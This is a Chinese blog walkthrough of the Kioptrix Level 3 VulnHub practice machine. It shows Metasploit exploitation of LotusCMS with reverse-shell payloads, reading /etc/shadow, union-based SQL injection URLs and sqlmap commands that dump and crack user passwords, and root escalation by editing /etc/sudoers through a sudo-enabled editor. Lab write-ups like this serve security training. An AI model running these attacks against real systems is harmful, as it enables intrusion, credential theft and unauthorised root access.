Kioptrix: Level 3靶机实战 lotu cms +sql注入 getshell ht编辑器有root权限，修改/etc/sudoers文件使当前用户具有root权限 提权

已于 2022-02-11 17:20:48 修改
阅读量2.2k 收藏 3
点赞数 2
分类专栏： 靶机学习 文章标签： apache 安全 web安全
于 2021-11-25 01:13:29 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/YouthBelief/article/details/121511584
版权

Kioptrix: Level 3靶机实战

前言

Kioptrix: Level 3 (#1): 靶机地址

 https://www.vulnhub.com/entry/kioptrix-level-12-3,24/

下载解压好后 将 网络修改为 nat模式

还需要修改 hosts文件
ip kioptrix3.com

windows

C:\Windows\System32\drivers\etc\hosts

linux

/etc/hosts

0x01 信息收集

1.1 探测靶机ip

netdiscover -i eth0 -r 192.168.157.0/24

在这里插入图片描述

1.2 nmap探测端口

nmap -A -T5 -v 192.168.157.156 -o port.txt

cat port.txt

# Nmap 7.91 scan initiated Tue Nov 16 18:19:17 2021 as: nmap -A -T5 -v -o port.txt 192.168.157.156
Nmap scan report for 192.168.157.156
Host is up (0.00063s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey: 
|   1024 30:e3:f6:dc:2e:22:5d:17:ac:46:02:39:ad:71:cb:49 (DSA)
|_  2048 9a:82:e6:96:e4:7e:d6:a6:d7:45:44:cb:19:aa:ec:dd (RSA)
80/tcp open  http    Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-favicon: Unknown favicon MD5: 99EFC00391F142252888403BB1C196D2
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
|_http-title: Ligoat Security - Got Goat? Security ...
MAC Address: 00:0C:29:9C:BC:D0 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Uptime guess: 0.012 days (since Tue Nov 16 18:02:43 2021)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=202 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.63 ms 192.168.157.156

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Nov 16 18:19:25 2021 -- 1 IP address (1 host up) scanned in 8.65 seconds

整理 发现 开放的端口有

22/tcp open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)

1.3 目录遍历

在这里插入图片描述

0x02 漏洞探测

2.1 访问 80端口

访问 http://192.168.157.156

在这里插入图片描述
看到login 点进去看看

2.1.1 登录功能查看

根据title 和powered by得知

cms为

lotusCMS

在这里插入图片描述

2.1.1.1cms漏洞搜索

搜索相关漏洞 （利用 exploit-db 百度 谷歌 ）

searchsploit lotucms

在这里插入图片描述
发现远程命令执行漏洞 .rb脚本 应该是msf

2.1.1.2 msf利用
search lotuscms
use 0 
show options

在这里插入图片描述

set rhosts 192.168.157.156
set uri /index.php?system=Admin
set lhost 192.168.157.137
set lport 4444
set payload generic/shell_reverse_tcp

以下 payload 都可用
set payload php/reverse_perl
set payload generic/shell_bind_tcp
set payload php/bind_perl
set payload php/reverse_php

在这里插入图片描述

攻击成功 获取到 网站用户权限

www-data

用以下命令 翻翻目录 有什么有用文件

cat /etc/passwd
cat /etc/shadow

在这里插入图片描述

	pwd
	ls -al /home
	ls -al /home/loneferret

在这里插入图片描述

cat /home/loneferret/CompanyPolicy.README

在这里插入图片描述

你好,新员工,

这里的公司政策是使用我们新安装的软件来编辑、创建和查看文件。

请使用命令'sudo ht'。

不这样做将导致您立即终止。



DG

首席执行官

sudo ht

2.1.2 点击网页功能点

随便点击功能点查看 是否存在漏洞时

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

发现一处 url

http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos
2.1.2.1

id参数 处 加入 ’ 报错 存在sql注入漏洞

在这里插入图片描述
根据报错内容 得知 id参数为数字型

列数和回显点
http://kioptrix3.com//gallery/gallery.php?id=1 order by 10 --+ &sort=photoid#photos
http://kioptrix3.com//gallery/gallery.php?id=1 order by 5 --+ &sort=photoid#photos
http://kioptrix3.com//gallery/gallery.php?id=1 order by 6 --+ &sort=photoid#photos
http://kioptrix3.com//gallery/gallery.php?id=1 order by 7 --+ &sort=photoid#photos

判断为 6列

http://kioptrix3.com/gallery/gallery.php?id=-1 union select 1,2,3,4,5,6 --+ &sort=photoid#photos

回显位置在 2和3

在这里插入图片描述

数据库
http://kioptrix3.com//gallery/gallery.php?id=-1 union select 1,database(),user(),4,5,6 --+ &sort=photoid#photos

在这里插入图片描述

数据表
http://kioptrix3.com/gallery/gallery.php?id=-1 union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()--+ &sort=photoid#photos 3

在这里插入图片描述

可能存在用户名密码的表的字段
http://kioptrix3.com/gallery/gallery.php?id=-1 union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_name='gallarific_users'--+ &sort=photoid#photos 3

在这里插入图片描述
http://kioptrix3.com/gallery/gallery.php?id=-1 union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_name=‘dev_accounts’–+ &sort=photoid#photos 3在这里插入图片描述

账号密码
http://kioptrix3.com/gallery/gallery.php?id=-1 union select 1,group_concat(username,0x7e,password),3,4,5,6 from gallarific_users --+ &sort=photoid#photos 3

在这里插入图片描述

admin
n0t7t1k4

http://kioptrix3.com/gallery/gallery.php?id=-1 union select 1,group_concat(username,0x7e,password),3,4,5,6 from dev_accounts--+ &sort=photoid#photos 3

在这里插入图片描述

dreg~0d3eccfb887aabd50f243b3f155c0f85
loneferret~5badcaf789d3d1d09794d8f021f40f0e

MD5解密
dreg Mast3r
loneferret starwars

正好是上边 得知的 linux系统的账号和密码

或者用sqlmap
sqlmap -u  "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos" --dbms-mysql
 "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos" --dbs
  "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos" -D gallery --tables
sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos"   -D gallery --tables
sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos"   -D gallery -T gallarific_users --columns
sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos"   -D gallery -T gallarific_users -C 'username,password' --dump

也可以得到
在这里插入图片描述

2.1.3 登录loneferret账号

正好是上边 得知的 linux系统的账号和密码

在这里插入图片描述

0x03 提权

根据上边 获取到的提示

cat CompanyPolicy.README 

Hello new employee,
It is company policy here to use our newly installed software for editing, creating and viewing files.
Please use the command 'sudo ht'.
Failure to do so will result in you immediate termination.

DG
CEO

3.1 根据第三方应用提权

思路 ：

ht编辑器被分配root权限。如果编辑/etc/sudoers，在里面给lone这个用户的sudo -l 权限再添加个/bin/bash，可以直接拿root的shell了。

ht运行之前要设置下，输入export TERM=xterm

底下就是命令 f3打开 f2保存

打开sudoers，在用户那又加了个/bin/bash指令

执行

sudo ht

报错

在这里插入图片描述
google 搜索问题
在这里插入图片描述

echo $TERM
export TERM=xterm
echo $TERM

在这里插入图片描述

sudo ht

启动成功

在这里插入图片描述
按 F3
或者
ALT+W 然后 方向键← ← ↓ 回车

框中 输入

/etc/sudoers

在这里插入图片描述
点击回车

在/etc/sudoers文件允许我补充root特权命令的loneferret帐户。

在这里插入图片描述

保存退出

在这里插入图片描述

使用root权限

sudo /bin/sh
id

在这里插入图片描述
提权成功

总结

1.信息收集发现只开启了22和80端口
2.访问80端口 功能点 发现 一处 图片处 存在 sql注入 获取到数据库资料
3.另一处 login处 使用了 lotuscms 可直接利用获取 网站权限的shell
4. 2和3结合 发现 系统登录的账号和密码。
5. ssh登录后，发现一处文件提示，ht编辑器 具有root权限，可以利用其进行提权。

ht编辑器被分配root权限。如果编辑/etc/sudoers，在里面给lone这个用户的sudo -l 权限再添加个/bin/bash，可以直接拿root的shell了。

ht运行之前要设置下，输入export TERM=xterm

底下就是命令 f3打开 f2保存

打开sudoers，在用户那又加了个/bin/bash指令

第三方应用提权参考

https://blog.csdn.net/zhangge3663/article/details/113879113
LuckyCharm~
关注
  • 2
    点赞
  • 踩
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
HT编辑器-开源
04-13
HT是可执行文件的文件编辑器/查看器/分析器。 目标是将调试器的低级功能与IDE的可用性相结合。 我们计划实现所有（十六进制）编辑功能以及对最重要文件格式的支持。
【每日打靶练习】靶机渗透实操-W1R3S（易）
leo788的博客
12-29 944
试试读一下/etc/shadow文件，该文件存放用户名密码，得到了很像密码的两部分信息，分别对应着www-data用户-加密密码，w1r3s用户-加密密码，使用最小速率为10000来扫描靶机ip开放端口，端口数量为65536个，所以设置10000的速率来进行扫描，其默认是tcp扫描。对页面上的信息cuppa cms进行匹配，获取到一条信息xxx.txt，检查一下，发现cuppa cms这个存在文件包含漏洞。开放端口有：21-ftp，22-ssh，80-http，3306-mysql。
探索高效编辑器：HT Editor
最新发布
gitblog_00002的博客
05-23 396
探索高效编辑器：HT Editor 项目地址:https://gitcode.com/sebastianbiallas/ht 在数字世界中，我们不断寻找更为强大的工具来处理和理解各种文件类型，特别是对于文本、二进制和可执行文件的深度解析。今天，我要向你推荐一款开源神器——HT Editor。这是一款功能强大且灵活的文件查看器、编辑器和分析工具，它以自由软件的形式面向所有人开放。 项目简介 HT E...
Linux靶机练习
SYJ_361的博客
03-27 6684
这里是对Linux靶机的各种练习，包括Lampiao、Raven2、Tr0ll、zico2、DC-6、DC-9等，利用kali、蚁剑等对靶机进行提权，并找到root里面的flag文件
【每日打靶练习】Vulnhub靶机平台-tomato
leo788的博客
12-30 1433
在网页的下边找到包含内容，通过返回信息中的用户属性得到信息：root用户可以执行shell，下方的tomato用户也可以执行shell，继续。尝试ssh连接，这里使用错误的用户名和错误的密码，输入三次后，写入日志中，检查一下log，成功获取到日志信息，可通过修改ruser来进行注入。刷新日志进行查看，发现注入未显示，证明注入成功，木马被作为代码执行，若显示则失败，代码木马作为文本执行。包含失败，这里未开放远程包含，同时本地包含文件无可再利用—》转换思路。执行后的匹配到相应漏洞，选择可能性高的来试一下。
hightopo学习笔记--2D编辑器使用
zhou8023ddw的博客
11-06 7217
一，编辑器          ht_editor编辑器，可以用来绘制图纸，将绘制的图纸引用到html页面中，可以用在项目里。ht_editor编辑器是基于node开发的，他编辑了一个服务器，启动服务可以在浏览器中打开编辑页面，进行编辑。        其中有组件、图标、图纸三大元素，组件是最小单位，可以组成图标，多个图标又可以组成一个图纸，从而引用到页面中。 二、HT在页面中的使用流程  ...
Vulnhub靶机系列：Kioptrix: Level 1.2 (#3)
01-09
这次的靶机是Vulnhub靶机：Kioptrix: Level 1.2 (#3) 文章目录靶机地址及相关描述靶机设置利用知识及工具信息收集并getshell提权总结 靶机地址及相关描述 https://www.vulnhub.com/entry/kioptrix-level-12-3,24/ ...
靶机-凹丫丫新闻发布系统V4.7修改版asp+sqlserver带注入版
05-19
在数据库中新建一个数据库（名字随意在conn.asp中也要相对修改），然后新建查询把网站目录下的news.sql里面的内容复制到查询里面执行（会提示错误但是是正常的忽略），在iis中设置网站默认页面为default.asp（不是...
靶机-凹丫丫新闻发布系统V4.7修改版asp+sqlserver带注入版（改）
05-21
在数据库中新建一个数据库（名字随意在conn.asp中也要相对修改），然后新建查询把网站目录下的news.sql里面的内容复制到查询里面执行（会提示错误但是是正常的忽略），在iis中设置网站默认页面为default.asp（不是...
sql注入靶场.zip
06-24
SQL注入是一种常见的网络安全漏洞，它发生在应用程序未能充分验证或过滤用户输入的数据，导致恶意SQL代码被插入到数据库查询中。这个"sql注入靶场.zip"文件包含了一个名为"sqli-labs-master"的靶场，旨在帮助学习者...
Kioptrix2-WalkThrough 靶机复现.docx
10-18
Kioptrix2-WalkThrough 靶机复现 本文将对 Kioptrix2 靶机复现的整个过程进行详细的知识点总结，涵盖信息收集、攻击、提权等阶段的关键技术点。 信息收集阶段 在信息收集阶段，我们首先需要对靶机进行 IP 探活，...
HT编辑器（含linux及windows平台）
08-23
ht-2.0.20.tar.bz2+ht-2.0.20.tar.gz+ht-2.0.20-win32.exe
VulnHub——Kioptrix Level 3
江左盟的博客
05-28 2934
目录 简介 信息收集 漏洞检测与利用 权限提升 总结 简介 该靶机还是一如既往的简单，通过信息收集发现Web服务使用LotusCMS，使用Google搜索发现存在已知漏洞，通过漏洞利用脚本获得webshell，然后通过内核漏洞直接提升权限到root。 信息收集 探测目标主机IP地址，如图： 然后对目标主机进行快速端口扫描，发现开启22和80端口，OpenSSH版本4.7p1，Apache版本2.2.8，PHP版本5.2.4-2，操作系统可能为Debian或Ubuntu，内核版本为2.
HT 编辑器关于添加图元自定义属性和显示问题
08-18 978
今天碰到这个例子，先记录下来： 自定义属性在 config-customProperties.js 文件中，window.hteditor_config.customProperties 中定义 通过配置 hteditor_config.customProperties 可增加自定义属性，分为以下四种属性类型 - customProperties.display: 增加图纸属性...
KIOPTRIX: LEVEL 3通关详解
arcuied
04-05 174
KIOPTRIX: LEVEL 3通关详解
【vulnhub靶场】Kioptrix : Level 1.2靶机提权
qq_46421742的博客
07-26 190
免责声明：本文属于个人笔记，仅用于学习，禁止使用于任何违法行为，任何违法行为与本人无关。
Kioptrix Level 3 靶机wp
m0_52496313的博客
08-14 309
Kioptrix Level 3 靶机wp
Vulnhub靶机 kioptrix level 3
菜浪马废的博客
04-09 468
简介里说了 先要配置hosts 找靶机扫端口 80 22 登录界面 LotusCMS 搜漏洞 searchsploit Lotus 直接msf 设置RHOSTS、URI search lotus use exploit/multi/http/lcms_php_exec show options set RHOSTS 192.168.0.128 set URI / run ...
Vulnhub系列-Kioptrix-Level-3
Yasso的博客
12-19 1295
这里写自定义目录标题欢迎使用Markdown编辑器新的改变功能快捷键合理的创建标题，有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能，丰富你的文章UML 图表FLowchart流程图导出与导入导出导入 欢迎使用Markdown编辑器 你好！ 这是你第一次使用 Markdown编辑器 所展示的欢迎页。如果你想学习如何使用Mar
dvwa靶机sql注入
08-04
DVWA靶机中的SQL注入是一种安全漏洞，攻击者可以通过构造恶意的SQL语句来绕过应用程序的验证和过滤机制，从而获取未授权的访问权限或者获取敏感信息。根据引用[1]和引用[2]中提到的内容，DVWA靶机中的SQL注入分为不同的安全级别，包括Low、Medium、High和Blind注入。 在Low级别的SQL注入中，攻击者可以通过在输入框中输入特定的SQL语句来绕过应用程序的验证，从而执行恶意操作。在Medium级别的SQL注入中，应用程序对输入进行了一定的过滤，但仍存在一些漏洞可以被攻击者利用。在High级别的SQL注入中，应用程序对输入进行了更严格的过滤，但仍然存在一些漏洞可以被攻击者利用。 在Blind注入中，攻击者无法直接获取注入结果，但可以通过构造特定的SQL语句来判断条件是否成立，从而获取敏感信息。Blind注入可以分为不同的级别，包括Low、Medium和High级别。 为了进行SQL注入攻击，攻击者可以使用手工方法或者工具如sqlmap。手工方法需要攻击者具备一定的SQL注入知识和技巧，而工具如sqlmap可以自动化执行注入攻击，提高攻击效率。 为了防御SQL注入攻击，开发人员应该对用户输入进行严格的验证和过滤，使用参数化查询或预编译语句来防止SQL注入攻击。此外，还可以限制数据库用户的权限，避免敏感信息的泄露。 根据引用[3]中的结论，可以通过使用sqlmap工具来获取DVWA靶机中的数据库名和表名。具体的命令可以参考引用[3]中提供的示例。 总之，DVWA靶机中的SQL注入是一种常见的安全漏洞，攻击者可以通过构造恶意的SQL语句来绕过应用程序的验证和过滤机制，获取未授权的访问权限或者敏感信息。开发人员应该采取相应的防御措施来保护应用程序的安全。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值